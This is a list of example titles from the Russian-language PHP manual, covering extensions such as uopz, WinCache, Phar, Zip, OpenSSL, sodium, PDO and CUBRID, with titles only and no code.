  • Example#602 - Пример использования uopz_backup
  • Example#603 - Пример использования uopz_compose
  • Example#604 - Пример использования uopz_copy
  • Example#605 - Простое использование uopz_del_function
  • Example#606 - Пример использования uopz_delete
  • Example#607 - Пример использования uopz_delete с классом
  • Example#608 - Пример использования uopz_extend
  • Example#609 - Пример использования uopz_flags
  • Example#610 - "Отменить final" класса
  • Example#611 - Пример использования uopz_function
  • Example#612 - Пример использования uopz_function с классом
  • Example#613 - Пример использования uopz_get_exit_status
  • Example#614 - Простое использование uopz_get_hook
  • Example#615 - Пример использования uopz_get_mock
  • Example#616 - Простое использование uopz_get_property
  • Example#617 - Пример использования uopz_get_return
  • Example#618 - Простое использование uopz_get_static
  • Example#619 - Пример использования uopz_implement
  • Example#620 - Пример использования uopz_overload
  • Example#621 - Пример использования uopz_redefine
  • Example#622 - Пример использования uopz_rename
  • Example#623 - Пример использования uopz_rename с классом
  • Example#624 - Пример использования uopz_restore
  • Example#625 - Простое использование uopz_set_hook
  • Example#626 - Пример использования uopz_set_mock
  • Example#627 - Пример использования uopz_set_mock
  • Example#628 - uopz_set_mock и статические члены класса
  • Example#629 - Простое использование uopz_set_property
  • Example#630 - Пример использования uopz_set_return
  • Example#631 - Пример использования uopz_set_return
  • Example#632 - Пример использования uopz_set_return с классом
  • Example#633 - Простое использование uopz_set_static
  • Example#634 - Пример использования uopz_undefine
  • Example#635 - Простое использование uopz_unset_hook
  • Example#636 - Пример использования uopz_unset_mock
  • Example#637 - Пример использования uopz_unset_return
  • Example#638 - Пример использования wincache.ignorelist
  • Example#639 - Настройка аутентификации для wincache.php
  • Example#640 - Включение обработчика сессий WinCache
  • Example#641 - Включение перенаправления функций в WinCache
  • Example#642 - Содержимое файла Reroute.ini
  • Example#643 - Пример использования wincache_fcache_fileinfo
  • Example#644 - Пример использования wincache_fcache_meminfo
  • Example#645 - Пример использования wincache_lock
  • Example#646 - Пример использования wincache_ocache_fileinfo
  • Example#647 - Пример использования wincache_ocache_meminfo
  • Example#648 - Пример использования wincache_refresh_if_changed
  • Example#649 - Пример использования wincache_rplist_fileinfo
  • Example#650 - Пример использования wincache_rplist_meminfo
  • Example#651 - Пример использования wincache_scache_info
  • Example#652 - Пример использования wincache_scache_meminfo
  • Example#653 - Пример использования wincache_ucache_add с key в виде строки
  • Example#654 - Пример использования wincache_ucache_add с key в виде массива
  • Example#655 - Пример использования wincache_ucache_cas
  • Example#656 - Пример использования wincache_ucache_clear
  • Example#657 - Пример использования wincache_ucache_dec
  • Example#658 - Пример использования wincache_ucache_delete с key в виде строки
  • Example#659 - Пример использования wincache_ucache_delete с key в виде массива
  • Example#660 - Пример использования wincache_ucache_delete с key в виде массива, из которого нельзя удалить некоторые элементы
  • Example#661 - Пример использования wincache_ucache_exists
  • Example#662 - wincache_ucache_get с key в виде строки
  • Example#663 - wincache_ucache_get с key в виде массива
  • Example#664 - Пример использования wincache_ucache_inc
  • Example#665 - Пример использования wincache_ucache_info
  • Example#666 - Пример использования wincache_ucache_meminfo
  • Example#667 - Пример использования wincache_ucache_set с key в виде строки
  • Example#668 - Пример использования wincache_ucache_set с key в виде массива
  • Example#669 - Пример использования wincache_unlock
  • Example#670 - Примеры использования Xhprof, опционально с GUI
  • Example#671 - Пример использования xhprof_disable
  • Example#672 - Пример использования xhprof_enable
  • Example#673 - Пример использования xhprof_sample_disable
  • Example#674 - Убедитесь, что элемент хранится
  • Example#675 - Использование паролей CHAP
  • Example#676 - Пример использования radius_acct_open
  • Example#677 - Пример использования radius_add_server
  • Example#678 - Пример использования radius_auth_open
  • Example#679 - Пример использования radius_create_request
  • Example#680 - Пример использования radius_cvt_addr
  • Example#681 - Пример использования radius_cvt_int
  • Example#682 - Пример использования функции radius_cvt_string
  • Example#683 - Пример использования radius_get_attr
  • Example#684 - Пример использования radius_get_tagged_attr_data
  • Example#685 - Пример использования radius_get_tagged_attr_tag
  • Example#686 - Пример использования radius_get_vendor_attr
  • Example#687 - Пример использования radius_put_attr
  • Example#688 - Пример использования radius_put_int
  • Example#689 - Пример использования radius_put_string
  • Example#690 - Пример использования radius_put_vendor_attr
  • Example#691 - Пример использования callback-интерфейса readline
  • Example#692 - Пример использования readline
  • Example#693 - Пример работы с bzip2
  • Example#694 - Сжатие данных
  • Example#695 - Распаковка строки
  • Example#696 - Пример использования bzerror
  • Example#697 - Пример использования bzopen
  • Example#698 - Пример использования bzread
  • Example#699 - Пример использования bzwrite
  • Example#700 - Использование внешнего файла
  • Example#701 - Использование файла внутри phar-архива
  • Example#702 - Конвертирование phar-архива из формата phar в формат tar
  • Example#703 - phar.cache_list usage example
  • Example#704 - Пример использования Phar::addEmptyDir
  • Example#705 - Пример использования Phar::addFile
  • Example#706 - Пример использования Phar::addFromString
  • Example#707 - Пример использования Phar::apiVersion
  • Example#708 - Пример использования Phar::buildFromDirectory
  • Example#709 - Пример использования Phar::buildFromIterator с объектами SplFileInfo
  • Example#710 - Пример использования Phar::buildFromIterator с другими типами итераторов
  • Example#711 - Пример использования Phar::canCompress
  • Example#712 - Пример использования Phar::canWrite
  • Example#713 - Пример использования Phar::compress
  • Example#714 - Пример использования Phar::compressFiles
  • Example#715 - Пример использования Phar::__construct
  • Example#716 - Пример использования Phar::convertToData
  • Example#717 - Пример использования Phar::convertToExecutable
  • Example#718 - Пример использования Phar::copy
  • Example#719 - Пример использования Phar::count
  • Example#720 - Пример использования Phar::createDefaultStub
  • Example#721 - Пример использования Phar::decompress
  • Example#722 - Пример использования Phar::decompressFiles
  • Example#723 - Пример использования Phar::delMetaData
  • Example#724 - Пример использования Phar::delete
  • Example#725 - Пример использования Phar::extractTo
  • Example#726 - Пример использования Phar::getMetadata
  • Example#727 - Пример использования Phar::getStub
  • Example#728 - Пример использования Phar::hasMetadata
  • Example#729 - Пример использования Phar::interceptFileFuncs
  • Example#730 - Пример использования Phar::interceptFileFuncs
  • Example#731 - Пример использования Phar::isBuffering
  • Example#732 - Пример использования Phar::isCompressed
  • Example#733 - Пример использования Phar::loadPhar
  • Example#734 - Пример использования Phar::mapPhar
  • Example#735 - Пример использования Phar::mount
  • Example#736 - Пример использования Phar::mungServer
  • Example#737 - Пример использования Phar::offsetExists
  • Example#738 - Пример использования Phar::offsetGet
  • Example#739 - Пример использования Phar::offsetSet
  • Example#740 - Пример использования Phar::offsetUnset
  • Example#741 - Пример использования Phar::running
  • Example#742 - Пример использования Phar::setAlias
  • Example#743 - Пример использования Phar::setDefaultStub
  • Example#744 - Пример использования Phar::setMetadata
  • Example#745 - Пример использования Phar::setStub
  • Example#746 - Пример использования Phar::startBuffering
  • Example#747 - Пример использования Phar::stopBuffering
  • Example#748 - Пример использования Phar::unlinkArchive
  • Example#749 - Пример использования Phar::webPhar
  • Example#750 - Пример использования PharData::addEmptyDir
  • Example#751 - Пример использования PharData::addFile
  • Example#752 - Пример использования PharData::addFromString
  • Example#753 - Пример использования PharData::buildFromDirectory
  • Example#754 - Пример использования PharData::buildFromIterator с SplFileInfo
  • Example#755 - Пример использования PharData::buildFromIterator с другим итератором
  • Example#756 - Пример использования PharData::compress
  • Example#757 - Пример использования PharData::compressFiles
  • Example#758 - Пример использования PharData::__construct
  • Example#759 - Пример использования PharData::convertToData
  • Example#760 - Пример использования PharData::convertToExecutable
  • Example#761 - Пример использования PharData::copy
  • Example#762 - Пример использования PharData::decompress
  • Example#763 - Пример использования PharData::decompressFiles
  • Example#764 - Пример использования PharData::delMetaData
  • Example#765 - Пример использования PharData::delete
  • Example#766 - Пример использования PharData::extractTo
  • Example#767 - Пример использования PharData::offsetSet
  • Example#768 - Пример использования PharData::offsetUnset
  • Example#769 - Пример использования Phar::setMetadata
  • Example#770 - Пример использования PharFileInfo::chmod
  • Example#771 - Пример использования PharFileInfo::compress
  • Example#772 - Пример использования PharFileInfo::__construct
  • Example#773 - Пример использования PharFileInfo::decompress
  • Example#774 - Пример использования PharFileInfo::delMetaData
  • Example#775 - Пример использования PharFileInfo::getCRC32
  • Example#776 - Пример использования PharFileInfo::getCompressedSize
  • Example#777 - Пример использования PharFileInfo::getMetadata
  • Example#778 - Пример использования PharFileInfo::getPharFlags
  • Example#779 - Пример использования PharFileInfo::isCRCChecked
  • Example#780 - Пример использования PharFileInfo::isCompressed
  • Example#781 - Пример использования PharFileInfo::setMetadata
  • Example#782 - Установка Rar
  • Example#783 - Декомпрессия на лету
  • Example#784 - Пример извлечения перечня файлов и директорий из RAR-архива
  • Example#785 - Объектно-ориентированный стиль
  • Example#786 - Процедурный стиль
  • Example#787 - Объектно-ориентированный стиль
  • Example#788 - Процедурный стиль
  • Example#789 - Объектно-ориентированный стиль
  • Example#790 - Процедурный стиль
  • Example#791 - Объектно-ориентированный стиль
  • Example#792 - Процедурный стиль
  • Example#793 - Объектно-ориентированный стиль
  • Example#794 - Процедурный стиль
  • Example#795 - Объектно-ориентированный стиль
  • Example#796 - Процедурный стиль
  • Example#797 - Объектно-ориентированный стиль
  • Example#798 - Процедурный стиль
  • Example#799 - Callback-функция для тома
  • Example#800 - Объектно-ориентированный стиль
  • Example#801 - Процедурный стиль
  • Example#802 - Пример использования RarArchive::__toString
  • Example#803 - Пример использования RarEntry::extract
  • Example#804 - Как извлечь все файлы из архива:
  • Example#805 - Пример использования RarEntry::getAttr
  • Example#806 - Пример использования RarEntry::getHostOs(версии >= 2.0.0)
  • Example#807 - Пример использования RarEntry::getHostOs(версии <= 1.0.0)
  • Example#808 - Пример использования метода RarEntry::getMethod
  • Example#809 - Пример использования RarEntry::getName
  • Example#810 - Пример использования RarEntry::getPackedSize
  • Example#811 - Пример использования RarEntry::getStream
  • Example#812 - Пример использования RarEntry::getUnpackedSize
  • Example#813 - Пример использования RarEntry::getVersion
  • Example#814 - Пример использования RarException::isUsingExceptions
  • Example#815 - Пример использования RarException::setUsingExceptions
  • Example#816 - Создание Zip-архива
  • Example#817 - Собрать и отобразить подробную информацию об архиве
  • Example#818 - Использование обёртки потока Zip, чтение метаинформации OpenOffice
  • Example#819 - Пример использования Zip
  • Example#820 - Создание новой директории в архиве.
  • Example#821 - Открыть и добавить
  • Example#822 - Добавить запись в новый архив
  • Example#823 - Добавить файл в директорию внутри архива
  • Example#824 - Пример использования ZipArchive::addGlob
  • Example#825 - Пример использования ZipArchive::addPattern
  • Example#826 - Удалить файл из архива, используя его индекс
  • Example#827 - Удалить файл и каталог из архива, используя имена
  • Example#828 - Извлечь всё содержимое
  • Example#829 - Извлечь два элемента
  • Example#830 - Вывести комментарий архива
  • Example#831 - Проверка, содержится ли архив в формате torrentzip
  • Example#832 - Вывести комментарий элемента
  • Example#833 - Вывести комментарий элемента
  • Example#834 - Извлекаем все записи с их правами Unix
  • Example#835 - Получить содержимое файла
  • Example#836 - Получить содержимое файла
  • Example#837 - Преобразовать изображении из ZIP-элемента
  • Example#838 - Пример использования ZipArchive::getnameindex
  • Example#839 - Получить содержимое элемента при помощи fread и сохранить его
  • Example#840 - То же, что и в предыдущем примере, но используя fopen и через обёртку zip-потока
  • Example#841 - ZIP-поток и изображение могут быть использованы также в функции XML
  • Example#842 - Получение и сохранение содержимого записи с помощью fread
  • Example#843 - Получение и сохранение содержимого записи с помощью fread
  • Example#844 - Создать архив, а затем вызвать метод ZipArchive::locateName
  • Example#845 - Открыть и извлечь
  • Example#846 - Создать архив
  • Example#847 - Создать временный архив
  • Example#848 - Архивация файла
  • Example#849 - Архивация файла
  • Example#850 - Переименование одного элемента
  • Example#851 - Переименование одного элемента
  • Example#852 - Открытие и замена
  • Example#853 - Создание архива и установка комментария
  • Example#854 - Создать архив torrentzip
  • Example#855 - Открывает архив и устанавливает комментарий к элементу
  • Example#856 - Открытие архива и установка комментария к элементу
  • Example#857 - Добавить к архиву файлы с разными методами сжатия
  • Example#858 - Добавить к архиву файлы с разными методами сжатия
  • Example#859 - Добавить файл и установить метод сжатия
  • Example#860 - Архивируем и шифруем файл
  • Example#861 - Сжатие файла с его правами Unix
  • Example#862 - Архивирование файла
  • Example#863 - Архивирование файла
  • Example#864 - Получение статистической информации о элементе
  • Example#865 - Получение статистической информации о элементе
  • Example#866 - Пример использования Zlib
  • Example#867 - Работа с API инкрементального компрессии и декомпрессии
  • Example#868 - Пример использования gzclose
  • Example#869 - Пример использования gzcompress
  • Example#870 - Пример использования gzdeflate
  • Example#871 - Создание файла gzip
  • Example#872 - Пример использования gzeof
  • Example#873 - Пример использования gzfile
  • Example#874 - Пример использования gzgetc
  • Example#875 - Пример использования gzgets
  • Example#876 - Пример использования gzgetss
  • Example#877 - Пример использования gzinflate
  • Example#878 - Пример использования gzopen
  • Example#879 - Пример использования gzpassthru
  • Example#880 - Пример использования gzread
  • Example#881 - Пример использования gzseek
  • Example#882 - Пример использования gzuncompress
  • Example#883 - Пример использования gzwrite
  • Example#884 - Пример использования функции ob_gzhandler
  • Example#885 - Пример использования zlib_encode
  • Example#886 - Пример использования hash_algos
  • Example#887 - Пример использования hash_copy
  • Example#888 - Пример использования hash_equals
  • Example#889 - Использование hash_file
  • Example#890 - Пример использования hash_hkdf
  • Example#891 - Пример использования hash_hmac_algos
  • Example#892 - Пример использования hash_hmac_file
  • Example#893 - Пример использования hash_hmac
  • Example#894 - Пример инкрементального хеширования
  • Example#895 - Пример простого использования hash_pbkdf2
  • Example#896 - Пример использования hash_update_stream
  • Example#897 - Пример использования hash
  • Example#898 - Пример использования функции mcrypt_create_iv
  • Example#899 - Пример использования mcrypt_enc_get_algorithms_name
  • Example#900 - Пример использования mcrypt_enc_get_modes_name
  • Example#901 - Пример использования mcrypt_enc_get_supported_key_sizes
  • Example#902 - Пример использования mcrypt_encrypt
  • Example#903 - Пример использования mcrypt_get_block_size
  • Example#904 - Пример использования mcrypt_get_cipher_name
  • Example#905 - Пример использования mcrypt_get_iv_size
  • Example#906 - Пример использования mcrypt_get_key_size
  • Example#907 - Пример использования mcrypt_list_algorithms
  • Example#908 - Пример использования mcrypt_list_modes
  • Example#909 - Пример использования mcrypt_module_open
  • Example#910 - Пример использования mcrypt_module_open
  • Example#911 - Пример использования mcrypt_module_self_test
  • Example#912 - Пример использования mdecrypt_generic
  • Example#913 - Вычисление MD5 и HMAC и печать их в шестнадцатеричном виде
  • Example#914 - Обход всех хешей
  • Example#915 - Пример использования mhash_get_block_size
  • Example#916 - Пример использования mhash_get_hash_name
  • Example#917 - Пример использования openssl_cipher_iv_length
  • Example#918 - Пример использования openssl_cipher_key_length
  • Example#919 - Пример использования openssl_cms_sign
  • Example#920 - Пример использования openssl_csr_export_to_file()
  • Example#921 - Пример использования openssl_csr_export()
  • Example#922 - Пример использования openssl_csr_get_public_key()
  • Example#923 - Пример использования openssl_csr_get_subject()
  • Example#924 - Создание самоподписанного сертификата
  • Example#925 - Создание самоподписанного ECC сертификата (начиная с PHP 7.1.0)
  • Example#926 - Пример openssl_csr_sign - подпись CSR (как сделать свой собственный CA)
  • Example#927 - Вычисление общего секретного ключа
  • Example#928 - Создание пары ключей DH (открытый/закрытый)
  • Example#929 - Пример шифрования AES с аутентификацией в режиме GCM в PHP 7.1+
  • Example#930 - Пример шифрования AES с аутентификацией до PHP 7.1
  • Example#931 - Пример использования openssl_error_string
  • Example#932 - Пример использования openssl_get_cert_locations
  • Example#933 - Пример использования openssl_get_cipher_methods
  • Example#934 - Пример использования openssl_get_curve_names
  • Example#935 - Пример использования openssl_get_md_methods
  • Example#936 - Пример использования openssl_open
  • Example#937 - Пример использования openssl_pbkdf2()
  • Example#938 - Пример использования openssl_pkcs12_read
  • Example#939 - Пример использования openssl_pkcs7_decrypt
  • Example#940 - Пример использования openssl_pkcs7_encrypt
  • Example#941 - Получение массива PEM из файла P7B
  • Example#942 - Пример использования openssl_pkcs7_sign
  • Example#943 - Пример использования openssl_pkey_derive
  • Example#944 - Получить открытую часть ключа из закрытого ключа
  • Example#945 - Пример использования openssl_random_pseudo_bytes
  • Example#946 - Пример использования openssl_seal
  • Example#947 - Пример использования openssl_sign
  • Example#948 - Пример использования openssl_sign
  • Example#949 - Пример использования openssl_spki_export_challenge
  • Example#950 - Пример использование openssl_spki_export_challenge с <keygen>
  • Example#951 - Пример использования openssl_spki_export
  • Example#952 - Пример использования openssl_spki_export с <keygen>
  • Example#953 - Пример использования openssl_spki_new
  • Example#954 - Пример использования openssl_spki_verify
  • Example#955 - Пример использования openssl_spki_verify с <keygen>
  • Example#956 - Пример использования openssl_verify
  • Example#957 - Пример использования openssl_verify
  • Example#958 - Пример использования openssl_x509_verify
  • Example#959 - Пример использования password
  • Example#960 - Пример использования password_hash
  • Example#961 - Пример использования password_hash с ручным заданием стоимости
  • Example#962 - Пример поиска хорошего значения стоимости для функции password_hash
  • Example#963 - Пример использования функции password_hash с Argon2i
  • Example#964 - Пример использования password_needs_rehash
  • Example#965 - Пример использования password_verify
  • Example#966 - Пример расчёта RNP
  • Example#967 - Пример простой callback-функции
  • Example#968 - Пример использования sodium_crypto_box_seal_open
  • Example#969 - Пример использования sodium_crypto_box_seal
  • Example#970 - Пример использования sodium_crypto_core_ristretto255_add
  • Example#971 - Пример использования sodium_crypto_core_ristretto255_from_hash
  • Example#972 - Пример использования sodium_crypto_core_ristretto255_is_valid_point
  • Example#973 - Пример использования sodium_crypto_core_ristretto255_random
  • Example#974 - Пример использования sodium_crypto_core_ristretto255_scalar_add
  • Example#975 - Пример использования sodium_crypto_core_ristretto255_scalar_invert
  • Example#976 - Пример использования sodium_crypto_core_ristretto255_scalar_negate
  • Example#977 - Пример использования sodium_crypto_core_ristretto255_scalar_random
  • Example#978 - Пример использования sodium_crypto_core_ristretto255_scalar_sub
  • Example#979 - Пример использования sodium_crypto_core_ristretto255_sub
  • Example#980 - Пример использования sodium_crypto_generichash_final
  • Example#981 - Пример использования sodium_crypto_generichash_init
  • Example#982 - Пример использования sodium_crypto_generichash_update
  • Example#983 - Пример использования sodium_crypto_kx_keypair
  • Example#984 - Пример использования sodium_crypto_pwhash_str
  • Example#985 - Пример использования password_hash
  • Example#986 - Пример использования sodium_crypto_secretbox_keygen
  • Example#987 - Сравнение sodium_crypto_secretbox_keygen с random_bytes
  • Example#988 - Пример использования sodium_crypto_secretbox_open
  • Example#989 - Пример использования sodium_crypto_secretbox
  • Example#990 - Пример использования sodium_crypto_secretstream_xchacha20poly1305_init_pull
  • Example#991 - Пример использования sodium_crypto_secretstream_xchacha20poly1305_init_push
  • Example#992 - Пример использования sodium_crypto_stream_xchacha20_xor_ic
  • Example#993 - DBA пример
  • Example#994 - Обход базы данных
  • Example#995 - Пример использования dba_handlers
  • Example#996 - Перечисление привилегий для столбца
  • Example#997 - Перечисление столбцов таблицы
  • Example#998 - Соединения без DSN
  • Example#999 - Пример использования odbc_connection_string_quote
  • Example#1000 - Перечисление доступных DSN
  • Example#1001 - Пример использования odbc_execute и odbc_prepare
  • Example#1002 - Примеры использования odbc_fetch_into
  • Example#1003 - Пример использования odbc_next_result
  • Example#1004 - Пример использования odbc_execute и odbc_prepare
  • Example#1005 - Перечисление первичных ключей столбца
  • Example#1006 - Перечисление столбцов хранимой процедуры
  • Example#1007 - Перечисление хранимых процедур базы данных
  • Example#1008 - Примеры использования odbc_result
  • Example#1009 - Примеры использования odbc_setoption
  • Example#1010 - Вывод статистики о таблице
  • Example#1011 - Перечисление привилегий таблицы
  • Example#1012 - Перечисление таблиц в каталоге
  • Example#1013 - Пример использования константы PDO::ATTR_DRIVER_NAME
  • Example#1014 - Подключение к MySQL
  • Example#1015 - Обработка ошибок подключения
  • Example#1016 - Закрытие соединения
  • Example#1017 - Постоянные соединения
  • Example#1018 - Выполнение пакета изменений в рамках транзакции
  • Example#1019 - Повторяющиеся вставки в базу с использованием подготовленных запросов
  • Example#1020 - Повторяющиеся вставки в базу с использованием подготовленных запросов
  • Example#1021 - Выборка данных с использованием подготовленных запросов
  • Example#1022 - Вызов хранимой процедуры с выходными параметрами
  • Example#1023 - Вызов хранимой процедуры с входным/выходным параметром
  • Example#1024 - Неправильное использование псевдопеременной
  • Example#1025 - Создание PDO объекта и установка режима обработки ошибок
  • Example#1026 - Создание экземпляра класса PDO и установка режима обработки ошибок в конструкторе
  • Example#1027 - Вывод изображения, хранящегося в базе данных
  • Example#1028 - Вставка изображения в базу данных
  • Example#1029 - Вставка изображения в базу данных: Oracle
  • Example#1030 - Откат транзакции
  • Example#1031 - Фиксация обычной транзакции
  • Example#1032 - Фиксация DDL-транзакции
  • Example#1033 - Создать экземпляр PDO через вызов драйвера
  • Example#1034 - Создать экземпляр PDO через вызов URI
  • Example#1035 - Создать экземпляр PDO через псевдоним
  • Example#1036 - Получение кода SQLSTATE
  • Example#1037 - Вывод полей массива errorInfo() для PDO_ODBC подключения к базе данных DB2
  • Example#1038 - Выполнение запроса DELETE
  • Example#1039 - Получение атрибутов соединения с базой данных
  • Example#1040 - Пример выполнения PDO::getAvailableDrivers
  • Example#1041 - Подготовка SQL-запроса с именованными параметрами
  • Example#1042 - Подготовка SQL-запроса с неименованными параметрами (символ '?')
  • Example#1043 - Подготовка SQL-запроса с экранированным вопросительным знаком
  • Example#1044 - SQL без заполнителей может быть выполнен с использованием PDO::query
  • Example#1045 - Экранирование обычной строки
  • Example#1046 - Экранирование небезопасной строки
  • Example#1047 - Экранирование сложной строки
  • Example#1048 - Откат транзакции
  • Example#1049 - Связывание результирующего набора с переменными PHP
  • Example#1050 - Выполнение подготовленного запроса с именованными псевдопеременными
  • Example#1051 - Выполнение подготовленного запроса с неименованными псевдопеременными (?)
  • Example#1052 - Вызов хранимой процедуры с INOUT-параметром
  • Example#1053 - Выполнение подготовленного запроса с именованными псевдопеременными
  • Example#1054 - Выполнение подготовленного запроса с неименованными псевдопеременными (?)
  • Example#1055 - Пример использования PDOStatement::closeCursor
  • Example#1056 - Подсчёт столбцов
  • Example#1057 - Пример использования PDOStatement::debugDumpParams с именованными параметрами
  • Example#1058 - Пример использования PDOStatement::debugDumpParams с неименованными (?) параметрами
  • Example#1059 - Получение кода SQLSTATE
  • Example#1060 - Вывод полей errorInfo() при PDO_ODBC подключении к DB2
  • Example#1061 - Выполнение подготовленного запроса с привязкой переменных и значений
  • Example#1062 - Выполнение подготовленного запроса с массивом именованных значений
  • Example#1063 - Выполнение подготовленного запроса с массивом позиционных значений
  • Example#1064 - Выполнение подготовленного запроса с переменными, привязанными к позиционным заполнителям
  • Example#1065 - Выполнение подготовленного запроса с использованием массива для выражения IN
  • Example#1066 - Извлечение строк в разных режимах выборки
  • Example#1067 - Выборка строк средствами прокручиваемого курсора
  • Example#1068 - Порядок конструкторов
  • Example#1069 - Извлечение всех оставшихся строк результирующего набора
  • Example#1070 - Извлечение всех значений одного столбца результирующего набора
  • Example#1071 - Группировка строк по значениям одного столбца
  • Example#1072 - Создание объекта для каждой строки
  • Example#1073 - Вызов функции для каждой строки
  • Example#1074 - Получение значения первого столбца следующей строки
  • Example#1075 - Извлечение метаданных столбца
  • Example#1076 - Извлечение данных из нескольких наборов строк, возвращённых хранимой процедурой
  • Example#1077 - Получение количества удалённых строк
  • Example#1078 - Подсчёт строк, возвращаемых выражением SELECT
  • Example#1079 - Изменение режима выборки
  • Example#1080 - Вставка LOB в CUBRID PDO
  • Example#1081 - Получение LOB в CUBRID PDO
  • Example#1082 - Вставка коллекции в CUBRID PDO с типом данных по умолчанию.
  • Example#1083 - Указание типа данных при вставке коллекции в CUBRID PDO
  • Example#1084 - Пример PDO_CUBRID DSN
  • Example#1085 - Пример использования PDO::cubrid_schema
  • Example#1086 - Примеры использования PDO_DBLIB DSN
  • Example#1087 - Пример PDO_FIREBIRD DSN с путём
  • Example#1088 - Пример PDO_FIREBIRD DSN с путём и портом
  • Example#1089 - Пример PDO_FIREBIRD DSN для localhost и пути до employee.fdb в системе Debian
  • Example#1090 - PDO_FIREBIRD DSN to connect to a dialect 1 database
  • Example#1091 - Пример PDO_IBM DSN с файлом db2cli.ini
  • Example#1092 - Пример PDO_IBM DSN со строкой соединения
  • Example#1093 - Использование PDO_INFORMIX DSN в odbc.ini
  • Example#1094 - Соединение с использованием полноценной строки соединения
  • Example#1095 - Установка небуферизованного режима MySQL
  • Example#1096 - Примеры DSN для драйвера PDO_MYSQL
  • Example#1097 - Примеры PDO_SQLSRV DSN
  • Example#1098 - Примеры использования PDO_OCI DSN
  • Example#1099 - Пример PDO_ODBC DSN (менеджер драйверов ODBC)
  • Example#1100 - Пример DSN-имени драйвера PDO_ODBC (некаталогизированное соединение IBM DB2)
  • Example#1101 - Пример DSN-имени драйвера PDO_ODBC (некаталогизированное соединение Microsoft Access)
  • Example#1102 - Примеры PDO_PGSQL DSN
  • Example#1103 - Пример использования PDO::pgsqlLOBCreate
  • Example#1104 - Пример использования PDO::pgsqlLOBOpen
  • Example#1105 - Пример использования PDO::pgsqlLOBUnlink
  • Example#1106 - Пример DSN PDO_SQLITE
  • Example#1107 - Пример агрегирующей функции max_length
  • Example#1108 - Пример использования PDO::sqliteCreateCollation
  • Example#1109 - Пример использования PDO::sqliteCreateFunction
  • Example#1110 - Пример извлечения данных
  • Example#1111 - Пример вставки данных
  • Example#1112 - Пример использования cubrid_bind
  • Example#1113 - Пример использования cubrid_bind с BLOB/CLOB
  • Example#1114 - Пример использования cubrid_bind с BLOB/CLOB
  • Example#1115 - Пример использования cubrid_close_prepare
  • Example#1116 - Пример использования cubrid_close_request
  • Example#1117 - Пример использования cubrid_col_get
  • Example#1118 - Пример использования cubrid_col_size
  • Example#1119 - Пример использования cubrid_column_names
  • Example#1120 - cubrid_column_types example
  • Example#1121 - Пример использования cubrid_commit
  • Example#1122 - Пример использования cubrid_connect_with_url без задания свойств
  • Example#1123 - Пример использования cubrid_connect_with_url с заданием свойств
  • Example#1124 - Пример использования cubrid_connect
  • Example#1125 - Пример использования cubrid_current_oid
  • Example#1126 - Пример использования cubrid_disconnect
  • Example#1127 - Пример использования cubrid_drop
  • Example#1128 - Пример использования cubrid_error_code_facility
  • Example#1129 - Пример использования cubrid_error_code
  • Example#1130 - Пример использования cubrid_error_msg
  • Example#1131 - Пример использования cubrid_execute
  • Example#1132 - Пример использования cubrid_fetch
  • Example#1133 - Пример использования cubrid_free_result
  • Example#1134 - Пример использования cubrid_get_charset
  • Example#1135 - Пример использования cubrid_get_class_name
  • Example#1136 - Пример использования cubrid_get_client_info
  • Example#1137 - Пример использования cubrid_get_db_parameter
  • Example#1138 - Пример использования cubrid_get_query_timeout
  • Example#1139 - Пример использования cubrid_get_server_info
  • Example#1140 - Пример использования cubrid_get
  • Example#1141 - Пример использования cubrid_insert_id
  • Example#1142 - Пример использования cubrid_is_instance
  • Example#1143 - Пример использования cubrid_lob_close
  • Example#1144 - Пример использования cubrid_lob_export
  • Example#1145 - Пример использования cubrid_lob_get
  • Example#1146 - Пример использования cubrid_lob_send
  • Example#1147 - Пример использования cubrid_lob_size
  • Example#1148 - Пример использования cubrid_lob2_bind
  • Example#1149 - Пример использования cubrid_lob2_export
  • Example#1150 - Пример использования cubrid_lob2_export
  • Example#1151 - Пример использования cubrid_lob2_read 1
  • Example#1152 - Пример использования cubrid_lob2_read 2
  • Example#1153 - Пример использования: cubrid_lob2_seek64
  • Example#1154 - Пример использования cubrid_lob2_seek
  • Example#1155 - Пример использования cubrid_lob2_write
  • Example#1156 - Пример использования cubrid_lob2_write
  • Example#1157 - Пример использования cubrid_lock_read
  • Example#1158 - Пример использования cubrid_lock_write
  • Example#1159 - Пример использования cubrid_move_cursor
  • Example#1160 - Пример использования cubrid_next_result
  • Example#1161 - Пример использования cubrid_num_cols
  • Example#1162 - Пример использования cubrid_num_rows
  • Example#1163 - Пример использования cubrid_pconnect_with_url без задания свойств
  • Example#1164 - cubrid_pconnect_with_url url with properties example
  • Example#1165 - Пример использования cubrid_connect
  • Example#1166 - Пример использования cubrid_prepare
  • Example#1167 - Пример использования cubrid_put
  • Example#1168 - Пример использования cubrid_rollback
  • Example#1169 - Пример использования cubrid_schema
  • Example#1170 - Пример использования cubrid_seq_drop
  • Example#1171 - Пример использования cubrid_seq_insert
  • Example#1172 - Пример использования cubrid_seq_put
  • Example#1173 - Пример использования cubrid_set_add
  • Example#1174 - Пример использования cubrid_get_db_parameter
  • Example#1175 - Пример использования cubrid_set_drop
  • Example#1176 - Пример использования cubrid_version
  • Example#1177 - Пример использования функции cubrid_affected_rows
  • Example#1178 - Пример использования cubrid_client_encoding
  • Example#1179 - Пример использования cubrid_close
  • Example#1180 - Пример использования функции cubrid_data_seek
  • Example#1181 - Пример использования функции cubrid_db_name
  • Example#1182 - Пример использования cubrid_errno
  • Example#1183 - Пример использования cubrid_error
  • Example#1184 - Пример использования функции cubrid_fetch_array
  • Example#1185 - Пример использования функции cubrid_fetch_assoc
  • Example#1186 - Пример использования функции cubrid_fetch_field
  • Example#1187 - Пример использования cubrid_fetch_lengths
  • Example#1188 - Пример использования функции cubrid_fetch_object
  • Example#1189 - Пример использования функции cubrid_fetch_row
  • Example#1190 - Пример использования функции cubrid_field_flags
  • Example#1191 - Пример использования функции cubrid_field_len
  • Example#1192 - Пример использования cubrid_field_name
  • Example#1193 - Пример использования функции cubrid_field_seek
  • Example#1194 - Пример использования функции cubrid_field_table
  • Example#1195 - Пример использования функции cubrid_field_type
  • Example#1196 - Пример использования функции cubrid_list_dbs
  • Example#1197 - Пример использования функции cubrid_num_fields
  • Example#1198 - Пример использования cubrid_ping
  • Example#1199 - Некорректный запрос
  • Example#1200 - Корректный запрос
  • Example#1201 - Пример использования cubrid_real_escape_string
  • Example#1202 - Пример использования функции cubrid_result
  • Example#1203 - Пример использования функции cubrid_unbuffered_query
  • Example#1204 - Пример использования cubrid_load_from_glo
  • Example#1205 - Пример использования cubrid_new_glo
  • Example#1206 - Пример использования cubrid_save_to_glo
  • Example#1207 - Пример использования cubrid_send_glo
